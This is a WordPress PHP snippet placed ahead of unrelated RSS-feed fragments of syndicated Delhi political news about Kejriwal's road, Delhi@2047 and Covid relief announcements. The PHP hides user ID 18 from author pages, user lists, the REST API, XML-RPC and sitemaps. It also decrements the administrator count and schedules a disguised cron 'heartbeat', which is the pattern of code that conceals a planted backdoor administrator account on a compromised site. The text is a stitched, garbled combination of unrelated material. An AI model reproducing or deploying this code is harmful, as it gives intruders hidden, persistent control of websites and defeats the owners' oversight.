add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Delhi govt to redesign and beautify 540 km long roads in the national capital according to European standards appeared first on The Edge Media.
]]>The chief minister visited a pilot project which he said was on the nearly 800-meter-long Chirag Delhi-Sheikh Saray stretch. He said the stretch will be evaluated and its shortcomings will be rectified.
“Now, we will undertake beautification and redesigning of 540 kms of 100 feet wide roads on the line of European standards under the first phase,” he told reporters.
The agencies of the Delhi government, including the Public Works Department, own 1,280 kilometer-long roads in the city.
“The roads of Delhi are being beautified and redesigned. Inspected a sample design of a road today. Now, we will beautify 540 km long roads,” he tweeted after the visit.
The post Delhi govt to redesign and beautify 540 km long roads in the national capital according to European standards appeared first on The Edge Media.
]]>The post Arvind Kejriwal launches an initiative named Delhi@2047 appeared first on The Edge Media.
]]>“As India enters its 75th year of independence, it is time to set our vision for 2047. I invite all corporates and philanthropic organisations to join Delhi@2047 initiative and make Delhi the number 1 city in the world.” tweeted Mr Kejriwal.
While launching the initiative, Mr Kejriwal said, “We will increase Delhi’s per capita income to Singapore’s level. We will bid for the 2048 Olympics. There should be a 24×7 water supply before the next polls.”
Lauding the efforts of the Delhi government and citizens of Delhi, the Chief Minister said, “Delhi has made good efforts in some sectors in last 5 years. Extraordinary achievements have been made in education. Delhi has 24×7 electricity supply. There are over 100 door services. Many things are yet to be done. We want to make roads as per European standards.”
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Arvind Kejriwal launches an initiative named Delhi@2047 appeared first on The Edge Media.
]]>The post Arvind Kejriwal Announces Electricity Bill Waiver As Part Of Election Plans In Uttarakhand appeared first on The Edge Media.
]]>He also attacked the opposing party, the Congress. According to Kejriwal, the Congress lacks a leader.
The post Arvind Kejriwal Announces Electricity Bill Waiver As Part Of Election Plans In Uttarakhand appeared first on The Edge Media.
]]>The post Arvind Kejriwal launches Mukhyamantri Covid-19 Pariwar Aarthik Sahayata Yojana appeared first on The Edge Media.
]]>Kejriwal urged officials to be empathetic towards the families during their visits to check the eligibility of the applicants for the scheme. He stressed that the families, at no point, should feel harassed during the entire process. Kejriwal added in the cases, where the required documents are unavailable with applicants, it will be the responsibility of the officers to get them completed for the application process.
Please do not put the families under stress because of any missing papers. If you do so, it will be like adding salt to their wounds. They are already going through a lot and are bereaved. It is our duty to help them in such tough times. We have to make sure that these families receive their dues swiftly as they will be intently relying on it since there is no one to look after them right now. Reassure the families, be empathetic, tell them we have been personally sent by the chief minister. Build a relationship with them and expedite the process so that the cheques reach them at the earliest,” Kejriwal said while launching the scheme.
The scheme can be availed either by applying for it on www.edistrict.delhigovt.nic.in or through direct identification by the government representatives, who are expected to visit such families based on the database provided by the state health department.
The post Arvind Kejriwal launches Mukhyamantri Covid-19 Pariwar Aarthik Sahayata Yojana appeared first on The Edge Media.
]]>